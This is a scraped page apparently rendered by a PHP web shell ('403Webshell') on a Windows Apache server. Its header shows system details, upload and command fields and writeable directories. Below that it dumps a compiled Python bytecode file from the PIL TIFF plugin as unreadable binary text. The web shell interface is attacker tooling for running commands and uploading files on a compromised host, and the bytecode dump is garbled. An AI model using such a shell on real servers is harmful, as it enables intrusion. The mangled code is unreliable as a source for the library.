403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/PIL/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/PIL/__pycache__/TiffImagePlugin.cpython-39.opt-2.pyc
a

h�aJ��@s�
ddlZddlZddlZddlZddlZddlZddlmZddlm	Z	ddl
mZmZddl
mZmZmZmZmZddlmZddlmZe�e�Zd	Zd	Zd
ZdZdZd
ZdZdZ dZ!dZ"dZ#dZ$dZ%dZ&dZ'dZ(dZ)dZ*dZ+dZ,dZ-dZ.dZ/dZ0d Z1d!Z2d"Z3d#Z4d$Z5d%Z6d&Z7d'Z8d(Z9d)Z:d*Z;d+Z<d,Z=d-Z>d.Z?d/Z@d0ZAd1ZBd2ZCd3d4d5d6d7d8d9d:d;d<d=d>d?d@dAdBdCdD�ZDdEdF�eD�E�D�ZFeddGddGdHfdIeddGddGdHfdIeddGdJdGdHfdKeddGdJdGdHfdKeddGddGdHfdLeddGddGdHfdLeddGdJdGdHfdMeddGdJdGdHfdMeddGddNdHfdOeddGddNdHfdOeddGdJdNdHfdPeddGdJdNdHfdPeddGddNdHfdQeddGddNdHfdQeddGdJdNdHfdReddGdJdNdHfdReddGddSdHfdTeddGddSdHfdTeddGdJdSdHfdUeddGdJdSdHfdUeddGddSdHfdVeddGddSdHfdVeddGdJdSdHfdWeddGdJdSdHfdWeddGddXdHfdYeddGddXdHfdYeddGdJdXdHfdZeddGdJdXdHfdZeddGddXdHfd[eddGddXdHfd[eddGdJdXdHfd\eddGdJdXdHfd\eddGdd]dHfd^eddGdd_dHfd`eddGdd_dHfdaeddNdd_dHfdbeddNdd_dHfdcedddddedHfdfedddddedHfdgeddGddedHfdheddNddedHfdieddNddedHfdjedddddedHfdfedddddedHfdgeddGddkdNfdleddGddkdNfdledJdGddmdHfdnedJdGddmdHfdnedJdGdJdmdHfdoedJdGdJdmdHfdoedJdGddpdHfdqedJdGddpdHfdqedJdGddpdrfdsedJdGddpdrfdsedJdGddtdufdvedJdGddtdufdvedJdGddwdxfdyedJdGddwdxfdyedJdGddpdGfdzedJdGddpdGfdzedJdGddtd{fd|edJdGddtd{fd|edJdGddwd}fd~edJdGddwd}fd~edJdGddpdNfdqedJdGddpdNfdqedJdGddtdfd�edJdGddtdfd�edJdGddwd�fd�edJdGddwd�fd�edJdGddpd�fdqedJdGddpd�fdqedJdGdd�dHfd�edJdGdd�dHfd�edJdGdd�dHfd�edJdGdd�dHfd�edJdGdd�drfd�edJdGdd�drfd�edJdGdd�dGfd�edJdGdd�dGfd�edJdGdd�dNfd�edJdGdd�dNfd�ed�dGddGdHfd�ed�dGddGdHfd�ed�dGdJdGdHfd�ed�dGdJdGdHfd�ed�dGddNdHfd�ed�dGddNdHfd�ed�dGdJdNdHfd�ed�dGdJdNdHfd�ed�dGddSdHfd�ed�dGddSdHfd�ed�dGdJdSdHfd�ed�dGdJdSdHfd�ed�dGddXdHfd�ed�dGddXdHfd�ed�dGddkdNfd�ed�dGddkdNfd�ed�dGdJdXdHfd�ed�dGdJdXdHfd�ed�dGddpdHfd�ed�dGddpdHfd�ed�dGddtdrfd�ed�dGddtdrfd�ed�dGddwdufd�ed�dGddwdufd�ed�dGdd�dHfd�ed�dGddmdHfd�ed�dGddmdHfd�ed�dGddmdHfd�ed�dGddmdHfd�ioZGgd��ZHd�d��ZId�d��ZJd�d��ZKiZLiZMGd�d��d�e�ZNGd�d��d�e�ZOeLeO_LeMeO_Me�E�D]B\ZPZQeQ�Rd�d��ZQeSeOd�eQeLePd�eSeOd�eQeMeP��q�[L[M[P[QGd�d��d�eO�ZTeTZUGd�d��d�ej�ZVd�edddGdfd�edddXdfd�edddkdJfd�ed�ddXdfd�ed�ddkdJfd�eddJdedfd�eddd_dfd�eddJd_dfd�edd�dedfd�edJddmdfd�edJddpdfd�edJddpdJfd�ed�ddpdfd�ed�ddmdfd�ed�ddmdfd�eddJdedfd�eddd_dfd�eddJd_dfd�edd�dedfdǜZWd�dɄZXGd�d˄d˃ZYd�d̈́ZZe�[eVj\eVeI�e�]eVj\eX�e�^eVj\eZ�e�_eVj\d�d�g�e�`eVj\dСdS)��N)�MutableMapping)�Fraction)�Number�Rational�)�Image�	ImageFile�ImageOps�ImagePalette�TiffTags��o8��TYPESFT�sIIsMM�iiiii
i�iiiiiii(i-i1i2i;i=i@�DiJiRiSi[�ii��i��iI�is�ii��ii��i���rawZ
tiff_ccittZgroup3Zgroup4Ztiff_lzw�	tiff_jpeg�jpeg�tiff_adobe_deflateZtiff_raw_16ZpackbitsZtiff_thunderscan�tiff_deflateZtiff_sgilogZ
tiff_sgilog24�lzmaZzstdZwebp)r�������i�i�i)�i��it�iu�im�iP�iQ�cCsi|]\}}||�qS�r#)�.0�k�vr#r#�7/usr/lib/python3.9/site-packages/PIL/TiffImagePlugin.py�
<dictcomp>��r(�rr#)�1z1;Ir)r+z1;IR)r+r+)r+z1;R)r)�LzL;2I)r,zL;2IR)r,zL;2)r,zL;2R)r)r,zL;4I)r,zL;4IR)r,zL;4)r,zL;4R)r")r,zL;I)r,zL;IR)r,r,)r,zL;R)�)�I;16zI;12)�)r.r.)�I;16Br0)�I�I;16S)r1�I;16BS)r)� )�F�F;32F)r5�F;32BF)r1zI;32N)r1�I;32S)r1�I;32BS)r"r")�LAr:)r"r"r")�RGBr;)r;zRGB;R)r"r"r"r")�RGBAr<)r)�RGBXr=)r"r"r"r"r"�rr)r=ZRGBXX)r"r"r"r"r"r")rrr)r=ZRGBXXX)r<ZRGBa)rr)r<ZRGBaX)rrr)r<ZRGBaXX)rr)r<ZRGBAX)rrr)r<ZRGBAXX)i�)r/r/r/)r;zRGB;16L)r;zRGB;16B)r/r/r/r/)r<zRGBA;16L)r<zRGBA;16B)r=zRGBX;16L)r=zRGBX;16B)r<zRGBa;16L)r<zRGBa;16Br)�PzP;1)r?zP;1R)r?zP;2)r?zP;2R)r?zP;4)r?zP;4R)r?r?)�PAr@)r?zP;Rr)�CMYKrA)rAZCMYKX)rAZCMYKXX)rAzCMYK;16Lr )r;r=r")�LABrB)�MM*�II*sMM*sII*cCs|dd�tvS�Nr)�PREFIXES��prefixr#r#r'�_acceptsrIcCs<t|�dk}t|rd|n|��|�}|r8|ddd�S|S)Nr���)�abs�IFDRational�limit_rational)�val�max_val�inv�n_dr#r#r'�_limit_rationalsrRcCsPt|�}|j|jf}t|�|kr.t|t|��}t|�|krLt|�}t||�}|S�N)r�	numerator�denominator�minrRrK�max)rNrOZmin_val�fracrQr#r#r'�_limit_signed_rationals
rYc@s:eZdZdZd2dd�Zedd��Zedd��Zd	d
�Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zed�Zed�Zed�Zed�Zed�Zed�Zed�Zed�Zed�Zed �Zed!�Zed"�Zed#�Zed$�Zed%�Zed&�Zed'�Zed(�Z ed)�Z!ed*�Z"ed+�Z#ed,�Z$ed-�Z%ed.�Z&ed/�Z'ed0�Z(d1S)3rL)�
_numerator�_denominator�_valrcCs�t|t�r&|j|_|j|_|j|_dSt|t�rB|j|_|j|_n||_||_|dkrbtd�|_n |dkrvt|�|_nt||�|_dS)Nr�nanr)	�
isinstancerLrTrZrUr[r\r�float)�self�valuerUr#r#r'�__init__1s


zIFDRational.__init__cCs|jSrS)rZ��ar#r#r'rTKszIFDRational.numeratorcCs|jSrS)r[rcr#r#r'rUOszIFDRational.denominatorcCs.|jdkr|j|jfS|j�|�}|j|jfS�Nr)rUrTr\Zlimit_denominator)r`Zmax_denominator�fr#r#r'rMSs
zIFDRational.limit_rationalcCstt|j��SrS)�strr_r\�r`r#r#r'�__repr__`szIFDRational.__repr__cCs
|j��SrS)r\�__hash__rhr#r#r'rjcszIFDRational.__hash__cCs0|j}t|t�r|j}t|t�r(t|�}||kSrS)r\r^rLr_)r`�otherrNr#r#r'�__eq__fs

zIFDRational.__eq__cCs|j|j|jgSrS)r\rZr[rhr#r#r'�__getstate__nszIFDRational.__getstate__cCs,t�|d�|\}}}||_||_||_dSre)rLrbr\rZr[)r`�stater\rZr[r#r#r'�__setstate__qs

zIFDRational.__setstate__cs�fdd�}|S)Ncst|j��|�SrS)�getattrr\)r`�args��opr#r'�delegateysz'IFDRational._delegate.<locals>.delegater#)rsrtr#rrr'�	_delegatexszIFDRational._delegate�__add__�__radd__�__sub__�__rsub__�__mul__�__rmul__�__truediv__�__rtruediv__�__floordiv__�
__rfloordiv__�__mod__�__rmod__�__pow__�__rpow__�__pos__�__neg__�__abs__�	__trunc__�__lt__�__gt__�__le__�__ge__�__bool__�__ceil__�	__floor__�	__round__N)r))�__name__�
__module__�__qualname__�	__slots__rb�propertyrTrUrMrirjrlrmrorurvrwrxryrzr{r|r}r~rr�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r�r#r#r#r'rL#sN



rLc
@s�eZdZd[dd�Zedd��Zedd��Zedd��Zejd	d
��Zdd�Z	d
d�Z
dd�Zdd�Zdd�Z
dd�Zdd�Zdd�Zdd�Zdd�Zdd �Zd!d"�Zd#d$�Zd%d&�Zd'd(�Zeeeejd)d*fejd+d,fejd-d.fejd/d0fejd1d2fej d3d4fej!d5d6fej"d+d,fg��ed7d7�d\d9d:��Z#ed7�d;d<��Z$ed=d7�d]d>d?��Z%ed=�d@dA��Z&edBdC�d^dDdE��Z'edB�dFdG��Z(edHd7�d_dIdJ��Z)edH�dKdL��Z*edMdC�d`dNdO��Z+edM�dPdQ��Z,dRdS�Z-dTdU�Z.dadWdX�Z/dYdZ�Z0dS)b�ImageFileDirectory_v2�II*NcCs�|dd�tvr$tdt|��d���|dur0|n
|dd�|_|jtkrPd|_n|jtkrbd|_ntd��||_i|_|�	�|�
d|dd��\|_d	|_dS)
Nrznot a TIFF file (header z not valid)r�>�<znot a TIFF IFDr,F)
rF�SyntaxError�repr�_prefix�MM�_endian�II�group�tagtype�reset�_unpack�next�_legacy_api)r`�ifhrHr�r#r#r'rb�s

zImageFileDirectory_v2.__init__cCs|jSrS)r�rhr#r#r'�<lambda>�r)zImageFileDirectory_v2.<lambda>cCs|jSrS)�_offsetrhr#r#r'r��r)cCs|jSrS)r�rhr#r#r'r��r)cCstd��dS)Nz"Not allowing setting of legacy api)�	Exception�r`rar#r#r'�
legacy_api�sz ImageFileDirectory_v2.legacy_apicCs(i|_i|_i|_i|_d|_d|_dSrS)�_tags_v1�_tags_v2�_tagdatar�Z_nextr�rhr#r#r'r�szImageFileDirectory_v2.resetcCstt|��SrS)rg�dictrhr#r#r'�__str__
szImageFileDirectory_v2.__str__cs�fdd����D�S)Ncs"i|]\}}t�|�j�j|�qSr#)r�lookupr��name)r$�coderarhr#r'r(s�z/ImageFileDirectory_v2.named.<locals>.<dictcomp>)�itemsrhr#rhr'�named
s
�zImageFileDirectory_v2.namedcCstt|j�t|j�B�SrS)�len�setr�r�rhr#r#r'�__len__szImageFileDirectory_v2.__len__cCsf||jvr>|j|}|j|}|j|\}}||||j�||<|j|}|jrbt|ttf�sb|f}|SrS)r�r�r��_load_dispatchr�r^�tuple�bytes)r`�tag�data�typ�size�handlerrNr#r#r'�__getitem__s



z!ImageFileDirectory_v2.__getitem__cCs||jvp||jvSrS)r�r��r`r�r#r#r'�__contains__&sz"ImageFileDirectory_v2.__contains__cCs|�|||j�dSrS)�_setitemr�)r`r�rar#r#r'�__setitem__)sz!ImageFileDirectory_v2.__setitem__c
s�tttf}t�||j��t||�r(|gn|}||jv�rp�jrN�j|j|<�n"tj	|j|<t
dd�|D��r�t
dd�|D��r�tjntj|j|<n�t
dd�|D���rt
dd�|D��r�tj
|j|<nDt
dd�|D��r�tj|j|<n$t
dd�|D��r�tjntj|j|<ndt
dd�|D���r.tj|j|<nBt
d	d�|D���rPtj|j|<n t
d
d�|D���rptj|j|<|j|tj	k�r�dd�|D�}n |j|tjk�r�d
d�|D�}|j|tjk�o�t|t�}|�s�t�fdd�|D��}|�r�|jn|j}|�s��jdk�s@|j|tjk�s@�jdu�r�t|�dk�r�|�s�|�rd|j|tjtjfv�rd|f}z|\||<Wn<t�y�t�d|�dt|��d��|d||<Yn0n|||<dS)Ncss|]}t|t�VqdSrS)r^rL�r$r&r#r#r'�	<genexpr>7r)z1ImageFileDirectory_v2._setitem.<locals>.<genexpr>css|]}|dkVqdS�rNr#r�r#r#r'r�:r)css|]}t|t�VqdSrS)r^�intr�r#r#r'r�=r)css&|]}d|kodknVqdS)rrNr#r�r#r#r'r�>r)css&|]}d|kodknVqdS)i���i�Nr#r�r#r#r'r�@r)css|]}|dkVqdSr�r#r�r#r#r'r�Er)css|]}t|t�VqdSrS)r^r_r�r#r#r'r�Hr)css|]}t|t�VqdSrS)r^rgr�r#r#r'r�Jr)css|]}t|t�VqdSrS)r^r�r�r#r#r'r�Lr)cSs&g|]}t|t�r|�dd�n|�qS)�ascii�replace)r^rg�encoder�r#r#r'�
<listcomp>Ps�z2ImageFileDirectory_v2._setitem.<locals>.<listcomp>cSs"g|]}t|t�rt|�n|�qSr#)r^r�r_r�r#r#r'r�Ur)c3s|]}��|�VqdSrS)Zcvt_enum�r$ra��infor#r'r�Yr)rzMetadata Warning, tag z had too many entries: z, expected 1r)rr�rgrr�r�r^r��type�	UNDEFINED�allZRATIONALZSIGNED_RATIONAL�SHORT�SIGNED_SHORT�LONG�SIGNED_LONG�DOUBLE�ASCII�BYTEr�r�r�r��lengthr��
ValueError�warnings�warn)r`r�rar�Z	basetypes�values�is_ifd�destr#r�r'r�,s~
��
��
����
�����zImageFileDirectory_v2._setitemcCs.|j�|d�|j�|d�|j�|d�dSrS)r��popr�r�r�r#r#r'�__delitem__|sz!ImageFileDirectory_v2.__delitem__cCstt|j�t|j�B�SrS)�iterr�r�r�rhr#r#r'�__iter__�szImageFileDirectory_v2.__iter__cCst�|j||�SrS)�struct�unpackr�)r`�fmtr�r#r#r'r��szImageFileDirectory_v2._unpackcGstj|j|g|�R�SrS)r��packr�)r`r�r�r#r#r'�_pack�szImageFileDirectory_v2._packcs��fdd�}|S)NcsBddlm}|j�d�r2|jdd��dd�|�<�|ft�<|S)Nrr�load_r�_� )rrr��
startswithr�r�)�funcr��idxr�r#r'�	decorator�s
z9ImageFileDirectory_v2._register_loader.<locals>.decoratorr#)r�r�r�r#r�r'�_register_loader�sz&ImageFileDirectory_v2._register_loadercs�fdd�}|S)Ncs|t�<|SrS)�_write_dispatch)r��r�r#r'r��sz9ImageFileDirectory_v2._register_writer.<locals>.decoratorr#)r�r�r#r�r'�_register_writer�sz&ImageFileDirectory_v2._register_writercsXddlm}|\}�}|||<t�d����d��fdd�	ft|<�fdd�t|<dS)	Nrr�=Tcs|�d�t|����|�S)Nz{}{})r��formatr��r`r�r��r�r�r#r'r��sz7ImageFileDirectory_v2._register_basic.<locals>.<lambda>csd���fdd�|D��S)Nr)c3s|]}���|�VqdSrS)r�r�)r�r`r#r'r��r)zJImageFileDirectory_v2._register_basic.<locals>.<lambda>.<locals>.<genexpr>��join�r`r�)r�rhr'r��s)T)rrr��calcsizer�r�)Zidx_fmt_namerr�r�r#r�r'�_register_basic�s
�z%ImageFileDirectory_v2._register_basic�HZshortr,Zlong�bzsigned byte�hzsigned short�lzsigned longrfr_�dZdoublerTcCs|SrSr#r�r#r#r'�	load_byte�szImageFileDirectory_v2.load_bytecCs|SrSr#�r`r�r#r#r'�
write_byte�sz ImageFileDirectory_v2.write_bytercCs"|�d�r|dd�}|�dd�S)N�rJzlatin-1r�)�endswith�decoder�r#r#r'�load_string�s
z!ImageFileDirectory_v2.load_stringcCsd|�dd�dS)Nr)r�r�r)r�r�r#r#r'�write_string�sz"ImageFileDirectory_v2.write_stringrr"csV|�d�t|�d�|�}�fdd��t�fdd�t|ddd�|ddd��D��S)	Nz{}Lrcs�r||fSt||�SrS�rL�rdr�r�r#r'�combine�sz4ImageFileDirectory_v2.load_rational.<locals>.combinec3s|]\}}�||�VqdSrSr#�r$ZnumZdenom�rr#r'r��r)z6ImageFileDirectory_v2.load_rational.<locals>.<genexpr>rr�r�r�r�r��zip�r`r�r�Zvalsr#�rr�r'�
load_rational�sz#ImageFileDirectory_v2.load_rationalcsd��fdd�|D��S)Nr)c3s&|]}�jdgt|d��R�VqdS)Z2Ll��N)r�rR�r$rXrhr#r'r��sz7ImageFileDirectory_v2.write_rational.<locals>.<genexpr>r�r�r#rhr'�write_rational�s�z$ImageFileDirectory_v2.write_rationalr!cCs|SrSr#r�r#r#r'�load_undefined�sz$ImageFileDirectory_v2.load_undefinedcCs|SrSr#r�r#r#r'�write_undefined�sz%ImageFileDirectory_v2.write_undefined�
csV|�d�t|�d�|�}�fdd��t�fdd�t|ddd�|ddd��D��S)	Nz{}lrcs�r||fSt||�SrSrr
rr#r'r�sz;ImageFileDirectory_v2.load_signed_rational.<locals>.combinec3s|]\}}�||�VqdSrSr#rrr#r'r��r)z=ImageFileDirectory_v2.load_signed_rational.<locals>.<genexpr>rrrrr#rr'�load_signed_rational�sz*ImageFileDirectory_v2.load_signed_rationalcsd��fdd�|D��S)Nr)c3s(|] }�jdgt|dd��R�VqdS)Z2li���i�N)r�rYrrhr#r'r��s�z>ImageFileDirectory_v2.write_signed_rational.<locals>.<genexpr>r�r�r#rhr'�write_signed_rational�s�z+ImageFileDirectory_v2.write_signed_rationalcCs4|�|�}t|�|kr0td|�dt|��d���|S)Nz&Corrupt EXIF data.  Expecting to read � bytes but only got z. )�readr��OSError)r`�fpr��retr#r#r'�_ensure_read�s
���z"ImageFileDirectory_v2._ensure_readc
Cs|��|��|_�z�t|�d|�|d��d�D�]�}|�d|�|d��\}}}}t�||j�j	}t
�|d�}d|�d|�d	|�d|�d
�	}	z|j|\}
}Wn*t
y�t�|	d|���Yq2Yn0||
}|dk�r*|��}
|�d
|�\}|	d|
�d|��7}	|�|�t�||�}|�|
�n|d|�}t|�|k�rpt�d|�dt|��d|���t�|	�q2|�s�t�|	�q2||j|<||j|<|	d|dk�r�d|nt|�7}	t�|	�q2|�d
|�|d��\|_Wn6t�y}	zt�t|	��WYd}	~	dSd}	~	00dS)Nr�rr�HHL4sr-�unknownztag: � (�
) - type: �)z - unsupported type rr,z Tag Location: z - Data Location: z/Possibly corrupt EXIF data.  Expecting to read rz. Skipping tag �
 - value: r4�<table: %d bytes>)r��tellr��ranger�r#rr�r�r�r�getr��KeyError�logger�debug�seekrZ
_safe_readr�r�r�r�r�r�r�r rg)r`r!�ir�r��countr��tagname�typname�msgZ	unit_sizer�r��here�offsetr#r#r'�load�s^
"


����



�zImageFileDirectory_v2.loadrc
Cs |�dt|j��}g}|t|�t|j�dd}d}t|j���D�]�\}}|tkr`t|�}|j�|�}t�	d|�d|�dt
|����|tjko�t
|t�}|r�|jdkr�d}	nd	}	t|	|d
�}
|j|}|��D]\}}
|
|
|<q�|
�|�}n,t
|t��r|n|f}|j||g|�R�}t�||j�j}|�r:dn
t�|d�}d
|�d|�d|�d|�d�	}|dt|�dk�r�dt|�nt|�7}t�	|�|�r�d}n(|tjtjtjfv�r�t|�}nt|�}t|�dk�r�|�||||�dd�df�qF|�||||�d|�|f�|t|�ddd7}qF|du�r�||\}}}}}|�rXtd��|�d|�d|�d|�}|||||f||<|D]T\}}}}}t�	|�d|�d|�dt
|��dt
|���	�||�d||||�7}�q�|d7}|D].\}}}}}||7}t|�d@�r�|d7}�q�|S)Nr�r-rzTag z, Type: z	, Value: r�sII*sMM*)r��ifdr%zsave: r&r'r(r)r/r*rrr)r,rz&multistrip support not yet implementedrr�r$s) r�r�r��sortedr��STRIPOFFSETSr�r-r/r0r�rr�r^r�r�r��tobytesr�r�r�r�r�rrgr�r�r��append�ljust�NotImplementedErrorr�)r`r8�result�entriesZstripoffsetsr�rar�r�r�r:r�Zifd_tagZ	ifd_valuer�r4r5r6r3r#r#r'r=6sh 


 �


.zImageFileDirectory_v2.tobytescCsN|��dkr&|�|j|�ddd��|��}|�|�}|�|�|t|�S)NrZHL�*r")r+�writer�r�r=r�)r`r!r8rAr#r#r'�save�s

zImageFileDirectory_v2.save)r�NN)T)T)T)T)T)r)1r�r�r�rbr�rHr8r��setterr�r�r�r�r�r�r�r�r�r�r�r�r�r�r��list�maprr�r�ZSIGNED_BYTEr�r�ZFLOATr�ZIFDrrr
rrrrrrrr#r9r=rEr#r#r#r'r��sv=

P







���




	7
Lr�r�r�r�Zwrite_cszeZdZU�fdd�Zedd��Zedd��Zeed<e	dd��Z
d	d
�Zdd�Zd
d�Z
dd�Zdd�Zdd�Z�ZS)�ImageFileDirectory_v1cst�j|i|��d|_dS)NT)�superrbr�)r`rq�kwargs��	__class__r#r'rb�szImageFileDirectory_v1.__init__cCs|jSrS)r�rhr#r#r'r��r)zImageFileDirectory_v1.<lambda>cCs|jSrS)r�rhr#r#r'r��r)r�cCs(||jd�}|j|_|j|_|j|_|S�NrG)rHr�r�r�)�clsZoriginalr:r#r#r'�from_v2�s
zImageFileDirectory_v1.from_v2cCs4t|jd�}t|j�|_t|j�|_t|j�|_|SrN)r�rHr�r�r�r�)r`r:r#r#r'�to_v2�s
zImageFileDirectory_v1.to_v2cCs||jvp||jvSrS)r�r�r�r#r#r'r��sz"ImageFileDirectory_v1.__contains__cCstt|j�t|j�B�SrS)r�r�r�r�rhr#r#r'r��szImageFileDirectory_v1.__len__cCstt|j�t|j�B�SrS)r�r�r�r�rhr#r#r'r��szImageFileDirectory_v1.__iter__cCsdD]}|�|||�qdS�N)FT)r�)r`r�rar�r#r#r'r��sz!ImageFileDirectory_v1.__setitem__cCsn||jvrL|j|}|j|}|j|\}}dD]}|�|||||�|�q0|j|}t|ttf�sj|f}|SrR)r�r�r�r�r�r^r�r�)r`r�r�r�r�r��legacyrNr#r#r'r��s



z!ImageFileDirectory_v1.__getitem__)r�r�r�rbr��tagsZtagdatar��__annotations__�classmethodrPrQr�r�r�r�r��
__classcell__r#r#rLr'rI�s

rIcs�eZdZdZdZdZd�fdd�	Zdd�Zed	d
��Z	dd�Z
d
d�Zdd�Zdd�Z
�fdd�Zdd�Zdd�Zdd�Zdd�Z�ZS)�
TiffImageFileZTIFFz
Adobe TIFFFNcsd|_d|_t��||�dSrS)�tag_v2r�rJrb)r`r!�filenamerLr#r'rbszTiffImageFile.__init__cCs�|j�d�}t|�|_d|_|jj|_|_d|_|j|_	g|_
d|_t�
d�t�
d|j���t�
dt|����|�d�dS)Nr"rJz*** TiffImageFile._open ***z- __first: z- ifh: r)r!rr�rYr:r�Z_TiffImageFile__first�_TiffImageFile__next�_TiffImageFile__frame�_TiffImageFile__fp�
_frame_pos�	_n_framesr/r0r��_seek)r`r�r#r#r'�_open
s

zTiffImageFile._opencCsP|jdurJ|��}|�t|j��|jdur@|�|��d�q"|�|�|jS)Nr)r_r+r`r�r^r1)r`�currentr#r#r'�n_frames#s


zTiffImageFile.n_framescCs<|�|�sdS|�|�t�|j�tj�|j|j�|_dSrS)	Z_seek_checkr`rZ_decompression_bomb_checkr��core�new�mode�im�r`�framer#r#r'r1-s


zTiffImageFile.seekcCs<|j|_|j��t|j�|kr�|js.td��t�d|�d|j	�d|j�d|j�����|j�
|j�|j�|j�t�d|j���|j�
|j�|jj|jvr�d|_n
|jj|_|jdkr�|d|_t|j�dkr�|jdk|_|j	d7_	q|j�
|j|�|j�
|j�t�|j�|_|_||_	|��dS)	Nzno more images in TIFF filezSeeking to frame z, on frame z	, __next z, location: zLoading tags, location: %srr)r]r!r+r�r^r[�EOFErrorr/r0r\r1r>rYr9r�r_�is_animatedrIrPr�r:�_setuprhr#r#r'r`8s:
���


zTiffImageFile._seekcCs|jSrS)r\rhr#r#r'r+\szTiffImageFile.tellcCsd|jvr|�|jd�SiS)Nr)rYZ_getxmprhr#r#r'�getxmp`szTiffImageFile.getxmpcs|jr|jr|��St���SrS)�tile�use_load_libtiff�
_load_libtiffrJr9rhrLr#r'r9hszTiffImageFile.loadcCs�|jrPtjtjtjtjtjtjtjd��	|j�}|durP|j
�|�|_
|j
j|_
|js�d|_|j��|��}tj��D]}||vr�qx|�|�qxdS)N)rrrrr r!r"T)�_tile_orientationrZFLIP_LEFT_RIGHTZ
ROTATE_180ZFLIP_TOP_BOTTOMZ	TRANSPOSEZ
ROTATE_270Z
TRANSVERSEZ	ROTATE_90r-rgZ	transposer��_sizerk�!_close_exclusive_fp_after_loadingr!r+Zgetexifr�TAGS_V2_GROUPS�keys�get_ifd)r`�method�exif�keyr#r#r'�load_endms,��	

zTiffImageFile.load_endc	
Cs�tj�|�|��t|j�dks*td��|jdd}t|jdd�}z6t|jd�oft	�
|j���}t|jd�r~|j��Wnty�d}Yn0|r�||d<t�
|jd	t|�|j�}z|�|j|�Wn.ty�}ztd
�|�WYd}~n
d}~00|j�o|j}t|jd��r<t�d�|�|j���\}}n\|�rnt�d
�|�s^|j�d�|�d�\}}n*t�d�|j�d�|�|j���\}}g|_d|_|��|�r�|j��d|_|dk�r�t|��tj�|�S)NrzNot exactly one tilerr�fileno�flushFr�libtiffzCouldn't set the image�getvaluez5have getvalue. just sending in a string from getvaluez3have fileno, calling fileno version of the decoder.sfpfpz+don't have fileno or getvalue. just reading)rr9Zload_preparer�rnr rG�hasattrr!�os�dupr{r|Z_getdecoderrfr�Z
decoderconfig�setimagergr�Z
_exclusive_fprkr/r0r	r~r1r�readonlyrz�close)	r`Zextentsrqr!�decoder�eZ
close_self_fp�n�errr#r#r'rp�sT
� 





zTiffImageFile._load_libtiffc
Cs�d|jvrtd��t|j�td�|_|j�td�|_|j�td�}|jdkrRd}|j�t	d�}t
�d�t
�d|j���t
�d	|���t
�d
|j���t
�d|���t
�d|j�d
����t
|j�t��}t
|j�t��}||f|_t
�d|j���|j�td�}t|�dk�rFt|�t|�k�r>dk�rFnnd}|j�td�}|j�td�}|dv�rrd}n|dk�r�d}nd}|t|�7}|t|�k�r�t|�dk�r�||}|j�t|jdk�r�|dv�r�dnd�}	t|�|	k�r�td��|jj|||||f}
t
�d|
���zt|
\|_}Wn:t�yd}z t
�d�td�|�WYd}~n
d}~00t
�d|���t
�d|j���|j|jd<|j�td�}
|j�t d�}|
�r:|�r:|j�t!�}|dk�r�|
|f|jd<nX|dk�r|
d|df|jd<n6|du�r,|
|f|jd<|
|f|jd <n|
|f|jd <d}}}g|_"t#�pZ|jd!k|_$|j$�r<|dk�r�|
dd�d|
dd�}
t
�d|
���t|
\|_}|d"k�r�d#}d$|v�r�|�%d$d%�}d&|v�r�|�%d&d%�}|dk�r
|jd'k�r
|jdk�r
d(}||jd)|jj&f}|j"�'d*dd||fd|f��nTt(|jv�sTt)|jv�r~t(|jv�r�|jt(}|j�t*|�}|jd}n"|jt)}|j�d+�}|j�d,�}|D]�}|||k�r�|t+|�d-}nd}|}|jdk�r�||}||}|t
|�df}|j"�'|j||t|||�t|||�f||f�||}||jdk�r�d||}}||jdk�r�d}}|d7}�q�nt
�d.�td��t,|jv�r�|jt,|jd/<|jd0v�r�d1d2�|jt-D�}t.�/d3d4�0|��|_1|j�d5�|_2dS)6Ni�z+Windows Media Photo files not yet supportedrrrr z*** Summary ***z- compression: z- photometric_interpretation: z- planar_configuration: z- fill_order: z- YCbCr subsampling: rz- size: r*r#)rr r"rrr)rr zunknown data organizationzformat key: z- unsupported formatzunknown pixel modez- raw mode: z- pil mode: �compressionr�dpigR���Q@�
resolutionrr.�I;16Nz;16Bz;16Nz;16Lrr;Fr}iBiCr"z- unsupported data organization�icc_profile�r?r@cSsg|]}t|d��qS)rr)r$rr#r#r'r��r)z(TiffImageFile._setup.<locals>.<listcomp>�RGB;Lr)i)3rYr �COMPRESSION_INFOr-�COMPRESSION�_compression�PLANAR_CONFIGURATION�_planar_configuration�PHOTOMETRIC_INTERPRETATION�	FILLORDERr/r0r�r��
IMAGEWIDTH�IMAGELENGTHrrr��SAMPLEFORMATr�rWrV�
BITSPERSAMPLE�EXTRASAMPLES�SAMPLESPERPIXELr�rH�	OPEN_INFOrfr.r��X_RESOLUTION�Y_RESOLUTION�RESOLUTION_UNITrn�READ_LIBTIFFror�r8r>r<�TILEOFFSETS�ROWSPERSTRIP�sum�
ICCPROFILE�COLORMAPr
rr��paletterq)r`�photoZ	fillorderZxsizeZysizeZsampleFormatZ	bps_tupleZextra_tupleZ	bps_countZsamplesPerPixelry�rawmoder�ZxresZyresZresunit�x�yZlayerrdZoffsetsr�wr8�strideZtile_rawmoder�r#r#r'rl�s�



2

��
 






��� 

��
zTiffImageFile._setupcCsFz8z|j|jkr|j��Wnty.Yn0Wd|_nd|_0dSrS)r]r!r��AttributeErrorrhr#r#r'�
_close__fp�szTiffImageFile._close__fp)NN)r�r�r�r�Zformat_descriptionrsrbrar�rcr1r`r+rmr9rzrprlr�rWr#r#rLr'rX�s"	
	$UQrXr+r,r:r?r@r8r.r2r6r;r=r<rA�YCbCrrBr9r0r3r7)r+r,r:r?r@r1r.r2r5r;r=r<rAr�rBr9r0r3r7c-Cs,zt|j\}}}}}}Wn8tyR}	z td|j�d��|	�WYd}	~	n
d}	~	00t|d�}
|j}|j}|�d|j�d��}
|
dur�d}
n|
dkr�d}
n|
dkr�d	}
t	p�|
dk}t
|d
d�|
t<|jd|
t
<|jd|
t<d
|vr�|d
